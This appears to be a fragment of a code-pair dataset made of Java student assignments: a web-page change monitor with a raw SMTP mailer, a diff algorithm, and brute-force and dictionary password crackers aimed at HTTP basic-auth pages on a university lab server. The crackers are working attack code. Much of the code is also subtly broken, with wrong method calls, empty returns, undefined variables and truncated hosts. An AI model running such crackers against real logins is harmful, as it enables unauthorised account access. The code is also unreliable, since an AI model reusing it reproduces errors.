\ number \"+(i+1)+\" has changed. \\n\";\n\t\t}\n\n\t\treturn msg;\n\t}\n\tprivate\
\ String[] getImages(String text) throws IOException\n\t{\n\t\tString [] images,urls;\n\
\t\tjava.util.ArrayList alist=new java.util.ArrayList();\n\t\tString t=\"\";\n\
\t\tboolean img=false;\n\t\tint len=text.length();\n\t\tchar ch,last=' ';\n\t\t\
int c=0;\n\t\twhile(c<len)\n\t\t{\n\t\t\tch=text.charAt(c);\n\t\t\tif(ch=='<')\n\
\t\t\t{\n\t\t\t\tlast='<';\n\t\t\t\tt=\"\";\n\t\t\t}\n\t\t\tif(last=='<')\n\t\t\
\t{\n\t\t\t\tt=\"\"+ch;\n\t\t\t\tif(c+2 < len)\n\t\t\t\t\tt=t+text.charAt(c+1)+\"\
\"+text.charAt(c+2);\n\t\t\t\tif(t.equalsIgnoreCase(\"img\"))\n\t\t\t\t\timg=true;\n\
\t\t\t}\n\t\t\tif(img==true)\n\t\t\t\tt=+ch;\n\t\t\tif(ch=='>')\n\t\t\t{\n\t\t\
\t\tlast='>';\n\t\t\t\tif(img==true)\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\tSystem.out.println();\n\
\t\t\t\t\tint n=0;\n\t\t\t\t\tchar tch,tlast=' ';\n\t\t\t\t\tString imgPath=\"\
\",tn=\"\";\n\t\t\t\t\tboolean src=false;\n\t\t\t\t\twhile(n<t.length())\n\t\t\
\t\t\t{\n\t\t\t\t\t\ttch=t.charAt(n);\n\t\t\t\t\t\ttn=\"\"+tch;\n\t\t\t\t\t\t\
if(src==false && tn.equalsIgnoreCase(\"s\") && (n+2)<t.length())\n\t\t\t\t\t\t\
{\n\t\t\t\t\t\t\ttn=tn+t.charAt(n+1)+\"\"+t.charAt(n+2);\n\t\t\t\t\t\t\tif(tn.equalsIgnoreCase(\"\
src\"))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tsrc=true;\n\t\t\t\t\t\t\t\tn+=2;\n\t\
\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if(src==true)\n\t\t\t\t\t\t{\n\t\
\t\t\t\t\t\tif(tch!='\"')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif(tch==' ' && imgPath.indexOf('.')!=\
\ -1)\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tn=t.length();\n\t\t\t\t\t\t\t\telse if(tch=='\
\ ' || tch=='=')\n\t\t\t\t\t\t\t\t\t;\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\
imgPath=imgPath+tch;\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\
\t\tn++;\n\t\t\t\t\t}\n\t\t\t\t\talist.add(imgPath);\n\t\t\t\t}\n\t\t\t\timg=false;\n\
\t\t\n\t\t\t}\n\t\t\tc++;\n\t\t}\n\t\turls=(String[])alist.toArray(new String[0]);\
\ \n\t\timages=new String[urls.length];\n\t\tfor(int i=0;i<urls.length;i++)\n\t\
\t{\n\t\t\tSystem.out.println(urls[i]);\n\t\t\tif(urls[i].startsWith(\"http\"\
)==false && urls[i].startsWith(\"HTTP\")==false && urls[i].startsWith(\"/\")==false)\n\
\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\timages[i]=getResource(baseURL+\"/\"\
+urls[i]);\t\t\t\n\t\t\t\t}\n\t\t\t\tcatch(FileNotFoundException fnfe)\n\t\t\t\
\t{\n\t\t\t\t\tString f=baseURL+\"/\"+urls[i];\n\t\t\t\t\timages[i]=f.substring(0,f.lastIndexOf('/'));\n\
\t\t\t\t}\n\t\t\t}\n\t\t\telse if(urls[i].startsWith(\"http\")==false && urls[i].startsWith(\"\
HTTP\")==false)\t\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\timages[i]=getResource(baseURL+urls[i]);\n\
\t\t\t\t}\n\t\t\t\tcatch(FileNotFoundException fnfe)\n\t\t\t\t{\n\t\t\t\t\tString\
\ f=baseURL+urls[i];\n\t\t\t\t\timages[i]=f.substring(0,f.lastIndexOf('/'));\n\
\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\timages[i]=getResource(urls[i]);\n\
\t\t\t\t}\n\t\t\t\tcatch(FileNotFoundException fnfe)\n\t\t\t\t{\n\t\t\t\t\timages[i]=urls[i].substring(0,urls[i].lastIndexOf('/'));\n\
\t\t\t\t}\n\n\t\t\t}\n\n\t\t}\n\t\treturn images;\n\t}\n\tprivate void log(String\
\ pageText,String[] images) throws IOException\n {\n\t\tPrintWriter out=new\
\ PrintWriter(new FileOutputStream(file));\n\t\tout.println(pageText);\n\t\tout.flush();\n\
\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\");\n\t\tout.flush();\t\
\n\n\t\tif(images.length>0)\n\t\t{\n\t\t\tout.println(images.length+\"\");\n\t\
\t\tout.flush();\t\n\t\t}\n\t\tfor(int i=0;i<images.length;i++)\n\t\t{\n\t\t\t\
out.println(images[i]);\n\t\t\tout.flush();\n\t\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\
);\n\t\t\tout.flush();\t\t\n\t\t}\t\n\n\t}\n\n public String getResource(String\
\ url) throws IOException\n\t{\n\t\t\t\tSystem.out.println(\"url=\"+url);\n\t\t\
\t\tString urlData=new String(\"\");\n InputStreamReader in=new\
\ InputStreamReader(new URL(url).openStream());\n int ch=in.print();\n\
\ while(ch!= -1)\n {\n urlData=urlData+(char)ch;\n\
\ ch=in.print();\n }\n\t\treturn urlData;\n\t\
}\n\n public boolean mail (String msg) throws IOException\n {\n\
\ boolean ret=true;\n try\n {\n \
\ Socket csoc=new Socket(\"yallara.cs.rmit.edu.\",25);\n BufferedReader\
\ in=new BufferedReader(new InputStreamReader(csoc.getInputStream()));\n \
\ PrintWriter out=new PrintWriter(csoc.getOutputStream(),true);\n \
\ out.println(\"HELO \"+host);\n System.out.println(in.readLine());\n\
\ out.println(\"MAIL FROM:\"+from);\n System.out.println(in.readLine());\n\
\ out.println(\"RCPT :\");\n System.out.println(in.readLine());\n\
\ out.println(\"DATA\");\n System.out.println(in.readLine());\n\
\ out.println(\"SUBJECT:\"+subject);\n System.out.println(in.readLine());\n\
\ out.println(msg);\n \t out.println(\".\");\n \
\ System.out.println(in.readLine());\n out.println(\"QUIT\");\n \
\ System.out.println(in.readLine());\n }\n catch(Exception\
\ e)\n {\n e.printStackTrace();\n System.out.println(\"\
Some error occoured while communicating server\");\n ret=false;\n\
\ \t return ret;\n }\n\t System.out.println(\"**************************************\\\
nMAIL ->\"+msg);\n return ret;\n }\n\n\tpublic static void main\
\ (String[] args)\n\t{\n\t\tSystem.out.println(\"Usage : \\n java WatchDog <space\
\ seperated list of urls> <current path> [First] \\n {The First at the end is\
\ used when running the watch dog for a new URL for the first Time}\");\n\t\t\
boolean flag=false;\n\t\tint num=args.length-1;\n\t\tif(args[args.length-1].equalsIgnoreCase(\"\
First\"))\n\t\t{\n\t\t\tnum--;;\n\t\t\tflag=true;\n\t\t}\nSystem.out.println(args[num]);\n\
\n\t\tWatchDog w=new WatchDog(flag);\n\t\tString []u=new String[num];\n\t\tfor(int\
\ i=0;i<u.length;i++)\n\t\t\tu[i]=args[i];\n\t\tw.startWatching(u,args[num]);\n\
\t}\n}\n"
sentences:
- "\n\nimport java.util.Hashtable;\n\n\n\npublic class Diff {\n\n \n public Diff(Object[]\
\ a,Object[] b) {\n Hashtable h = new Hashtable(a.length + b.length);\n \
\ filevec[0] = new file_data(a,h);\n filevec[1] = new file_data(b,h);\n }\n\
\n \n private int equiv_max = 1;\n\n \n public boolean heuristic = false;\n\
\n \n public boolean no_discards = false;\n\n private int[] xvec, yvec; \
\ \n private int[] fdiag; \n private int[] bdiag; \n private\
\ int fdiagoff, bdiagoff;\n private final file_data[] filevec = new file_data[2];\n\
\ private int cost;\n\n \n\n private int diag (int xoff, int xlim, int yoff,\
\ int ylim) {\n final int[] fd = fdiag; \n final int[] bd = bdiag; \
\ \n final int[] xv = xvec; \n final int[] yv = yvec; \
\ \n final int dmin = xoff - ylim; \n final int dmax =\
\ xlim - yoff; \n final int fmid = xoff - yoff; \n final int\
\ bmid = xlim - ylim; \n int fmin = fmid, fmax = fmid; \n int\
\ bmin = bmid, bmax = bmid; \n \n final boolean odd = (fmid - bmid\
\ & 1) != 0; \n\n fd[fdiagoff + fmid] = xoff;\n bd[bdiagoff + bmid] = xlim;\n\
\n for (int c = 1;; ++c)\n {\n int d; \n \
\ boolean big_snake = false;\n\n \n if (fmin > dmin)\n \
\ fd[fdiagoff + --fmin - 1] = -1;\n else\n ++fmin;\n \
\ if (fmax < dmax)\n fd[fdiagoff + ++fmax + 1] = -1;\n else\n\
\ --fmax;\n for (d = fmax; d >= fmin; d -= 2)\n {\n \
\ int x, y, oldx, tlo = fd[fdiagoff + d - 1], tly = fd[fdiagoff + d\
\ + 1];\n\n if (tlo >= ylim)\n x = tlo + 1;\n \
\ else\n x = ylim;\n oldx = x;\n y = x -\
\ d;\n while (x < xlim && y < ylim && xv[x] == yv[y]) {\n \
\ ++x; ++y;\n }\n if (x - oldx > 20)\n \
\ big_snake = true;\n fd[fdiagoff + d] = x;\n if (odd &&\
\ bmin <= d && d <= bmax && bd[bdiagoff + d] <= fd[fdiagoff + d])\n \
\ {\n cost = 2 * c - 1;\n return d;\n \
\ }\n }\n\n \n if (bmin > dmin)\n bd[bdiagoff\
\ + --bmin - 1] = Integer.MAX_VALUE;\n else\n ++bmin;\n \
\ if (bmax < dmax)\n bd[bdiagoff + ++bmax + 1] = Integer.MAX_VALUE;\n\
\ else\n --bmax;\n for (d = bmax; d >= bmin; d -= 2)\n\
\ {\n int x, y, oldx, tlo = bd[bdiagoff + d - 1], tly = bd[bdiagoff\
\ + d + 1];\n\n if (tlo < ylim)\n x = tlo;\n \
\ else\n x = - 1;\n oldx = x;\n y = x -\
\ d;\n while (x > xoff && y > yoff && xv[x - 1] == yv[y - 1]) {\n \
\ --x; --y;\n }\n if (oldx - x > 20)\n \
\ big_snake = true;\n bd[bdiagoff + d] = x;\n if\
\ (!odd && fmin <= d && d <= fmax && bd[bdiagoff + d] <= fd[fdiagoff + d])\n \
\ {\n cost = 2 * c;\n return d;\n \
\ }\n }\n\n \n\n if (c > 200 && big_snake &&\
\ heuristic)\n {\n int i = 0;\n int bestpos = -1;\n\
\n for (d = fmax; d >= fmin; d -= 2)\n {\n \
\ int dd = d - fmid;\n if ((fd[fdiagoff + d] - xoff)*2 - dd\
\ > 12 * (c + (dd > 0 ? dd : -dd)))\n {\n \
\ if (fd[fdiagoff + d] * 2 - dd > i\n && fd[fdiagoff +\
\ d] - xoff > 20\n && fd[fdiagoff + d] - d - yoff > 20)\n\
\ {\n int k;\n \
\ int x = fd[fdiagoff + d];\n\n \n \
\ for (k = 1; k <= 20; k++)\n if (xvec[x - k]\
\ != yvec[x - d - k])\n break;\n\n \
\ if (k == 21)\n {\n \
\ ylim = fd[fdiagoff + d] * 2 - dd;\n bestpos =\
\ d;\n }\n }\n \
\ }\n }\n if ( x> 0)\n {\n \
\ cost = 2 * c - 1;\n return bestpos;\n }\n\n \
\ x= 0;\n for (d = bmax; d >= bmin; d -= 2)\n \
\ {\n int dd = d - bmid;\n if ((xlim - bd[bdiagoff\
\ + d])*2 + dd > 12 * (c + (dd > 0 ? dd : -dd)))\n {\n \
\ if ((xlim - bd[bdiagoff + d]) * 2 + dd > i\n \
\ && xlim - bd[bdiagoff + d] > 20\n && x - (bd[bdiagoff\
\ + d] - d) > 20)\n {\n \n \
\ int k;\n int x = bd[bdiagoff + d];\n\n\
\ for (k = 0; k < 20; k++)\n if\
\ (xvec[x + k] != yvec[x - d + k])\n break;\n \
\ if (k == 20)\n {\n \
\ x = (xlim - bd[bdiagoff + d]) * 2 + dd;\n \
\ bestpos = d;\n }\n }\n \
\ }\n }\n if (x > 0)\n {\n\
\ cost = 2 * c - 1;\n return bestpos;\n \
\ }\n }\n }\n }\n\n \n\n private void compareseq (int xoff,\
\ int xlim, int yoff, int ylim) {\n \n while (xoff < xlim && yoff < ylim\
\ && xvec[xoff] == yvec[yoff]) {\n ++xoff; ++yoff;\n }\n \n while\
\ (xlim > xoff && ylim > yoff && xvec[xlim - 1] == yvec[ ylim- 1]) {\n --xlim;\
\ --x;\n }\n \n \n if (xoff == xlim)\n while (yoff < ylim)\n\
\ filevec[1].changed_flag[1+filevec[1].realindexes[yoff++]] = true;\n \
\ else if (yoff == ylim)\n while (xoff < xlim)\n filevec[0].changed_flag[1+filevec[0].realindexes[xoff++]]\
\ = true;\n else\n {\n \n\n int d = diag (xoff, xlim, yoff,\
\ ylim );\n int c = cost;\n int f = fdiag[fdiagoff + d];\n \
\ int b = bdiag[bdiagoff + d];\n\n if (c == 1)\n {\n \
\ \n throw new IllegalArgumentException(\"Empty subsequence\");\n\
\ }\n else\n {\n \n compareseq\
\ (xoff, b, yoff, b - d);\n \n compareseq (b, xlim, b -\
\ d,ylim );\n }\n }\n }\n\n \n\n private void discard_confusing_lines()\
\ {\n filevec[0].discard_confusing_lines(filevec[1]);\n filevec[1].discard_confusing_lines(filevec[0]);\n\
\ }\n\n private boolean inhibit = false;\n\n \n\n private void shift_boundaries()\
\ {\n if (inhibit)\n return;\n filevec[0].shift_boundaries(filevec[1]);\n\
\ filevec[1].shift_boundaries(filevec[0]);\n }\n\n public interface ScriptBuilder\
\ {\n \n public change build_script(\n boolean[] changed0,int len0,\n\
\ boolean[] changed1,int len1\n );\n }\n\n \n\n static class ReverseScript\
\ implements ScriptBuilder {\n public change build_script(\n final\
\ boolean[] changed0,int len0,\n final boolean[] changed1,int len1)\n \
\ {\n change script = null;\n int i0 = 0, i1 = 0;\n while (i0\
\ < len0 || i1 < len1) {\n if (changed0[1+i0] || changed1[1+i1]) {\n \
\ int line0 = i0, line1 = i1;\n\n \n while (changed0[1+i0])\
\ ++i0;\n while (changed1[1+i1]) ++i1;\n\n \n \
\ script = new change(line0, line1, i0 - line0, i1 - line1, script);\n \
\ }\n\n \n i0++; i1++;\n }\n\n return script;\n }\n\
\ }\n\n static class ForwardScript implements ScriptBuilder {\n \n public\
\ change build_script(\n final boolean[] changed0,int len0,\n \
\ final boolean[] changed1,int len1)\n {\n change script = null;\n \
\ int i0 = len0, i1 = len1;\n\n while (i0 >= 0 || i1 >= 0)\n {\n\
\ if (changed0[i0] || changed1[i1])\n {\n int\
\ line0 = i0, line1 = i1;\n\n \n while (changed0[i0])\
\ --i0;\n while (changed1[i1]) --i1;\n\n \n \
\ script = new change(i0, i1, line0 - i0, line1 - i1, script);\n \
\ }\n\n \n i0--; i1--;\n }\n\n return script;\n\
\ }\n }\n\n \n public final static ScriptBuilder\n forwardScript = new\
\ ForwardScript(),\n reverseScript = new ReverseScript();\n\n \n public final\
\ change diff_2(final boolean reverse) {\n return diff(reverse ? reverseScript\
\ : forwardScript);\n }\n\n \n public change diff(final ScriptBuilder bld)\
\ {\n\n \n\n discard_confusing_lines ();\n\n \n\n xvec = filevec[0].undiscarded;\n\
\ yvec = filevec[1].undiscarded;\n\n int diags =\n filevec[0].nondiscarded_lines\
\ + filevec[1].nondiscarded_lines + 3;\n fdiag = new int[diags];\n fdiagoff\
\ = filevec[1].nondiscarded_lines + 1;\n bdiag = new int[diags];\n bdiagoff\
\ = filevec[1].nondiscarded_lines + 1;\n\n compareseq (0, filevec[0].nondiscarded_lines,\n\
\ 0, filevec[1].nondiscarded_lines);\n fdiag = null;\n bdiag\
\ = null;\n\n \n\n shift_boundaries ();\n\n \n return bld.build_script(\n\
\ filevec[0].changed_flag,\n filevec[0].buffered_lines,\n filevec[1].changed_flag,\n\
\ filevec[1].buffered_lines\n );\n\n }\n\n \n\n public static class\
\ change {\n \n public int change ; \n \n public final int\
\ inserted; \n \n public final int deleted; \n \n public\
\ final int line0; \n \n public final int line1; \
\ \n\n \n public change(int line0, int line1, int deleted, int inserted,\
\ change old) {\n this.line0 = line0;\n this.line1 = line1;\n this.inserted\
\ = inserted;\n this.deleted = deleted;\n this.old = old;\n \n\
\ }\n }\n\n \n\n class file_data {\n\n \n void clear() {\n \n\
\ changed_flag = new boolean[buffered_lines + 2];\n }\n\n \n int[]\
\ equivCount() {\n int[] equiv_count = new int[equiv_max];\n for (int\
\ i = 0; i < buffered_lines; ++i)\n ++equiv_count[equivs[i]];\n return\
\ equiv_count;\n }\n\n \n void discard_confusing_lines(file_data f) {\n\
\ clear();\n \n final byte[] discarded = discardable(f.equivCount());\n\
\n \n filterDiscards(discarded);\n\n \n discard(discarded);\n\
\ }\n\n \n\n private byte[] discardable(final int[] counts) {\n \
\ final int end = buffered_lines;\n final byte[] discards = new byte[end];\n\
\ final int[] equivs = this.equivs;\n int many = 5;\n int tem =\
\ end / 64;\n\n \n while ((tem = tem >> 2) > 0)\n many *= 2;\n\
\n for (int i = 0; i < end; i++)\n {\n int nmatch;\n \
\ if (equivs[i] == 0)\n continue;\n nmatch = counts[equivs[i]];\n\
\ if (nmatch == 0)\n discards[i] = 1;\n else if (nmatch\
\ > many)\n discards[i] = 2;\n }\n return discards;\n \
\ }\n\n \n\n private void filterDiscards(final byte[] discards) {\n \
\ final int end = buffered_lines;\n\n for (int i = 0; i < end; i++)\n\
\ {\n \n if (discards[i] == 2)\n discards[i]\
\ = 0;\n else if (discards[i] != 0)\n {\n \
\ \n int j;\n int length;\n int\
\ provisional = 0;\n\n \n for (j = i; j < end; j++)\n\
\ {\n if (discards[j] == 0)\n \
\ break;\n if (discards[j] == 2)\n \
\ ++provisional;\n }\n\n \n \
\ while (j > i && discards[j - 1] == 2) {\n discards[--j]\
\ = 0; --provisional;\n }\n\n \n \
\ length = j - i;\n\n \n if (provisional * 4 > length)\n\
\ {\n while (j > i)\n \
\ if (discards[--j] == 2)\n discards[j] = 0;\n \
\ }\n else\n {\n \
\ int consec;\n int minimum = 1;\n int tem\
\ = length / 4;\n\n \n while ((tem = tem\
\ >> 2) > 0)\n minimum *= 2;\n minimum++;\n\
\n \n for (j = 0, consec = 0; j < length;\
\ j++)\n if (discards[i + j] != 2)\n \
\ consec = 0;\n else if (minimum == ++consec)\n \
\ \n j -= consec;\n \
\ else if (minimum < consec)\n discards[i + j] = 0;\n\
\n \n for (j = 0, consec = 0; j < length;\
\ j++)\n {\n if (j >= 8 && discards[i\
\ + j] == 1)\n break;\n if (discards[i\
\ + j] == 2) {\n consec = 0; discards[i + j] = 0;\n \
\ }\n else if (discards[i + j] ==\
\ 0)\n consec = 0;\n else\n \
\ consec++;\n if (consec == 3)\n\
\ break;\n }\n\n \
\ \n i += length - 1;\n\n \n \
\ for (j = 0, consec = 0; j < length; j++)\n \
\ {\n if (j >= 8 && discards[i - j] == 1)\n \
\ break;\n if (discards[i - j] == 2) {\n\
\ consec = 0; discards[i - j] = 0;\n \
\ }\n else if (discards[i - j] == 0)\n \
\ consec = 0;\n else\n \
\ consec++;\n if (consec == 3)\n \
\ break;\n }\n }\n \
\ }\n }\n }\n\n \n private void discard(final byte[] discards)\
\ {\n final int end = buffered_lines;\n int j = 0;\n for (int i\
\ = 0; i < end; ++i)\n if (no_discards || discards[i] == 0)\n \
\ {\n undiscarded[j] = equivs[i];\n realindexes[j++] = i;\n\
\ }\n else\n changed_flag[1+i] = true;\n nondiscarded_lines\
\ = j;\n }\n\n file_data(Object[] data,Hashtable h) {\n buffered_lines\
\ = data.length;\n\n equivs = new int[buffered_lines]; \n undiscarded\
\ = new int[buffered_lines];\n realindexes = new int[buffered_lines];\n\n\
\ for (int i = 0; i < data.length; ++i) {\n Integer ir = (Integer)h.get(data[i]);\n\
\ if (ir == null)\n h.put(data[i],new Integer(equivs[i] = equiv_max++));\n\
\ else\n equivs[i] = ir.intValue();\n }\n }\n\n \n\n\
\ void shift_boundaries(file_data f) {\n final boolean[] changed = changed_flag;\n\
\ final boolean[] other_changed = f.changed_flag;\n int i = 0;\n \
\ int j = 0;\n int i_end = buffered_lines;\n int preceding = -1;\n\
\ int other_preceding = -1;\n\n for (;;)\n {\n int start,\
\ end, other_start;\n\n \n\n while (i < i_end && !changed[1+i])\n\
\ {\n while (other_changed[1+j++])\n \n\
\ other_preceding = j;\n i++;\n }\n\n \
\ if (i == i_end)\n break;\n\n start = i;\n \
\ other_start = j;\n\n for (;;)\n {\n \n\n\
\ while (i < i_end && changed[1+i]) i++;\n end = i;\n\
\n \n\n \n\n if (end != i_end\n \
\ && equivs[start] == equivs[end]\n && !other_changed[1+j]\n\
\ && end != i_end\n && !((preceding >= 0 &&\
\ start == preceding)\n || (other_preceding >= 0\n \
\ && other_start == other_preceding)))\n {\n\
\ changed[1+end++] = true;\n changed[1+start++]\
\ = false;\n ++i;\n \n ++j;\n\
\ }\n else\n break;\n }\n\
\n preceding = i;\n other_preceding = j;\n }\n }\n\
\n \n final int buffered_lines;\n\n \n private final int[] equivs;\n\
\n \n final int[] undiscarded;\n\n \n final int[] realindexes;\n\
\n \n int nondiscarded_lines;\n\n \n boolean[] changed_flag;\n\
\n }\n}\n"
- "package java.httputils;\n\nimport java.io.BufferedOutputStream;\nimport java.io.FileNotFoundException;\n\
import java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.OutputStream;\n\
import java.net.MalformedURLException;\nimport java.sql.Timestamp;\nimport java.util.Observable;\n\
\npublic class BruteForce extends Observable\n{\n \n protected Timestamp\
\ start;\n protected Timestamp end;\n protected String URL = \"http://localhost:8080/secret/index.html\"\
;\n protected String userName = \"\";\n protected String content = \"\"\
;\n protected int attempts = 0;\n protected String password;\n protected\
\ String fileName;\n\n public static final char[] letters =\n {\n \
\ 'a',\n 'b',\n 'c',\n 'd',\n \
\ 'e',\n 'f',\n 'g',\n 'h',\n \
\ 'i',\n 'j',\n 'k',\n 'l',\n 'm',\n\
\ 'n',\n 'o',\n 'p',\n 'q',\n \
\ 'r',\n 's',\n 't',\n 'u',\n \
\ 'v',\n 'w',\n 'x',\n 'y',\n 'z',\n\
\ 'A',\n 'B',\n 'C',\n 'D',\n \
\ 'E',\n 'F',\n 'G',\n 'H',\n \
\ 'I',\n 'J',\n 'K',\n 'L',\n 'M',\n\
\ 'N',\n 'O',\n 'P',\n 'Q',\n \
\ 'R',\n 'S',\n 'T',\n 'U',\n \
\ 'V',\n 'W',\n 'X',\n 'Y',\n 'Z',\n\
\ ' '};\n \n public BruteForce()\n {\n }\n\n \n public\
\ void process()\n {\n StringBuffer password = new StringBuffer(\"aaa\"\
);\n \n setStart(new Timestamp(System.currentTimeMillis()));\n\n\
\ for (int i = 0;\n i < letters.length - 1;\n password.setCharAt(0,\
\ letters[i]), i++)\n {\n for (int i2 = 0;\n \
\ i2 < letters.length;\n password.setCharAt(1, letters[i2]), i2++)\n\
\ {\n for (int i3 = 0;\n i3 < letters.length;\n\
\ password.setCharAt(2, letters[i3]), i3++)\n \
\ {\n try\n {\n \
\ attempts++;\n\n BasicAuthHttpRequest req =\n \
\ new BasicAuthHttpRequest(\n \
\ getURL(),\n getUserName(),\n \
\ password.toString().trim());\n setPassword(password.toString());\n\
\ setEnd(new Timestamp(System.currentTimeMillis()));\n\
\ setContent(req.getContent().toString());\n\n \
\ \n if (getFileName() != null && getFileName().length()\
\ > 0)\n {\n createReport();\n\
\ }\n return;\n \
\ }\n catch (MalformedURLException e)\n \
\ {\n e.printStackTrace();\n \
\ return;\n }\n catch (IOException e)\n\
\ {\n\n }\n }\n \
\ }\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n\
\n\n }\n\n \n public void createReport()\n {\n OutputStream\
\ os = null;\n try\n {\n os = new BufferedOutputStream(\n\
\ new FileOutputStream(getFileName(), false));\n \
\ os.write(printResult().getBytes());\n }\n catch (FileNotFoundException\
\ e)\n {\n e.printStackTrace();\n }\n catch (IOException\
\ e)\n {\n e.printStackTrace();\n }\n finally\n\
\ {\n if (os != null)\n {\n try\n\
\ {\n os.close();\n }\n \
\ catch (IOException e)\n {\n }\n \
\ }\n }\n }\n\n \n public String printResult()\n {\n\
\ StringBuffer s = new StringBuffer();\n\n s.append(\"** \" + this.getClass().getName()\
\ + \" Results **\\n\\n\");\n s.append(\"Password: \" + getPassword() +\
\ \"\\n\\n\");\n\n s.append(\"Attempts : \" + attempts + \"\\n\\n\");\n\
\n s.append(\n \"Time (seconds): \"\n + (getEnd().getTime()\
\ - getStart().getTime()) / 1000\n + \"\\n\\n\");\n s.append(\"\
Content: \\n\" + getContent() + \"\\n\\n\");\n\n return s.toString();\n\
\ }\n\n public String printUsage()\n {\n StringBuffer s = new\
\ StringBuffer();\n\n s.append(\"** BruteForce proper usage **\\n\\n\"\
);\n s.append(\n \"java ..httputils.BruteForce <URL> <UserName>\
\ <OutputFile - Optional>\\n\\n\");\n\n return s.toString();\n }\n\n\
\ public static void main(String[] args)\n {\n BruteForce bruteForce\
\ = new BruteForce();\n\n if (args.length < 2)\n {\n \
\ System.out.println(bruteForce.printUsage());\n }\n else\n \
\ {\n bruteForce.setURL(args[0]);\n bruteForce.setUserName(args[1]);\n\
\ if (args.length > 2)\n {\n bruteForce.setFileName(args[2]);\n\
\ }\n bruteForce.process();\n System.out.println(bruteForce.printResult());\n\
\ }\n }\n\n \n\n \n public Timestamp getEnd()\n {\n \
\ return end;\n }\n\n \n public Timestamp getStart()\n {\n \
\ return ;\n }\n\n \n public void setEnd(Timestamp timestamp)\n \
\ {\n end = timestamp;\n }\n\n \n public void setStart(Timestamp\
\ timestamp)\n {\n time = timestamp;\n }\n\n \n public String\
\ getURL()\n {\n return URL;\n }\n\n \n public void setURL(String\
\ string)\n {\n URL = string;\n }\n\n \n public String getUserName()\n\
\ {\n return userName;\n }\n\n \n public void setUserName(String\
\ string)\n {\n userName = string;\n }\n\n \n public String\
\ getContent()\n {\n return content;\n }\n\n \n public void\
\ setContent(String string)\n {\n content = string;\n }\n\n \n\
\ public String getPassword()\n {\n return password;\n }\n\n \
\ \n public void setPassword(String string)\n {\n password = string;\n\
\ }\n\n \n public String getFileName()\n {\n return fileName;\n\
\ }\n\n \n public void setFileName(String string)\n {\n fileName\
\ = string;\n }\n\n}\n"
- "\n\n\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\n\npublic class\
\ Dictionary\n{\n\n static BufferedReader in = null;\n static MyAuthenticator\
\ Auth = new MyAuthenticator();\n\n \n public static void main(String[] args)\
\ throws IOException\n {\n int tmp = 0;\n String str =\"\";\n \
\ Authenticator.setDefault(Auth);\n \n try\n {\n URL url =\
\ new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\n \n \
\ \n while(tmp!=1)\n {\n try\n {\n\
\ in = new BufferedReader(new InputStreamReader(url.openStream()));\n\
\ tmp=1;\n }\n catch (IOException e) {}\n\
\ \n } \n\n while ((str = in.readLine()) !=\
\ null) \n {\n \n \n \n }\n \
\ \n\n System.out.println(\"The successful Password found using\
\ a Dictionary search is = \" + Auth.finalPass());\n\n } \n catch (MalformedURLException\
\ e) \n {System.out.println(\"mfURL\");}\n } \n\n\n}\n\nclass MyAuthenticator\
\ extends Authenticator \n{\n String username = \"\";\n static String password\
\ = \"\";\n \n static String DictFile = \"/usr/share/lib/dict/words\";\n \
\ static BufferedReader fReader;\n\n public MyAuthenticator()\n {\n \
\ try\n {\n fReader = new BufferedReader\n \
\ (new FileReader(DictFile));\n }\n catch (FileNotFoundException\
\ e)\n {\n System.out.println(\"File \" +DictFile+ \" Not Found\"\
);\n System.out.println(\" File Opened\");\n System.exit(1);\n\
\ }\n catch (IOException e)\n {\n System.out.println(\"\
File Failed..\");\n System.exit(1);\n }\n\n }\n\n static void\
\ setPass(String pswd)\n {\n password = pswd;\n }\n\n static String\
\ finalPass()\n {\n return password;\n }\n\n static String getPass()\n\
\ {\n try\n {\n if ((password = fReader.readLine()) == null)\n\
\ {\n System.out.println(\"Password Not found in file '\" +\
\ DictFile +\"'.\");\n System.exit(1);\n }\n }\n \
\ catch (IOException ioe)\n {\n System.out.println(\"File IOException\"\
);\n System.out.println(ioe);\n }\n\n return password;\n }\n\
\n\n\n protected PasswordAuthentication getPasswordAuthentication() \n { \n\
\ \n return new PasswordAuthentication(username, getPass().toCharArray());\
\ \n\n } \n}\n"
- source_sentence: "\npublic class ImageFile\n{\n\tprivate String imageUrl;\n\tprivate\
\ int imageSize;\n\n\tpublic ImageFile(String url, int size)\n\t{\n\t\timageUrl=url;\n\
\t\timageSize=size;\n\t}\n\n\tpublic String getImageUrl()\n\t{\n\t\treturn imageUrl;\n\
\t}\n\n\tpublic int getImageSize()\n\t{\n\t\treturn imageSize;\n\t}\n}\n"
sentences:
- "import java.io.*;\nimport java.net.*;\n\npublic class BruteForce {\n public\
\ static void main(String[] args) {\n BruteForce brute=new BruteForce();\n\
\ brute.start();\n\n\n }\n\n\npublic void start() {\nchar passwd[]= new\
\ char[3];\nString password;\nString username=\"\";\nString auth_data;\nString\
\ server_res_code;\nString required_server_res_code=\"200\";\nint cntr=0;\n\n\
try {\n\nURL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\nURLConnection\
\ conn=null;\n\n\n for (int i=65;i<=122;i++) {\n if(i==91)\
\ { i=i+6; }\n passwd[0]= (char) i;\n\n for (int j=65;j<=122;j++)\
\ {\n if(j==91) { j=j+6; }\n passwd[1]=(char) j;\n\
\n for (int k=65;k<=122;k++) {\n if(k==91) { k=k+6;\
\ }\n passwd[2]=(char) k;\n password=new String(passwd);\n\
\ password=password.trim();\n auth_data=null;\n\
\ auth_data=username + \":\" + password;\n auth_data=auth_data.trim();\n\
